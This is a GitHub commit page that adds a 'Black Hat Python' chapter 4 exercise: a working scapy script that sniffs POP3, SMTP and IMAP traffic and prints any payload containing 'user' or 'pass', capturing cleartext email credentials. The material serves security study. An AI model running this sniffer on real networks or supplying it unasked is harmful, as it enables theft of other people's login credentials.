-
Notifications
You must be signed in to change notification settings - Fork 282
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Mail sniffer using BPF filters to drill down specific packets
- Loading branch information
1 parent
ff1b225
commit 9ff362b
Showing
2 changed files
with
26 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
20 changes: 20 additions & 0 deletions
20
Black Hat Python/chapter_04/mail_sniffer_using_BPF_syntax.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
from scapy.all import sniff, TCP, IP | ||
|
||
# The packet callback function | ||
def packet_callback(packet): | ||
# Check if the packet has a TCP payload | ||
if packet.haslayer(TCP) and packet[TCP].payload: | ||
# Convert the payload to a string | ||
mypacket = str(packet[TCP].payload) | ||
# Check for the presence of 'user' or 'pass' in the payload | ||
if 'user' in mypacket.lower() or 'pass' in mypacket.lower(): | ||
# Print the destination IP and the payload | ||
print(f"[*] Destination: {packet[IP].dst}") | ||
print(f"[*] {str(packet[TCP].payload)}") | ||
|
||
def main(): | ||
# Start sniffing for packets | ||
sniff(filter='tcp port 110 or tcp port 25 or tcp port 143', prn=packet_callback, store=0) | ||
|
||
if __name__ == '__main__': | ||
main() |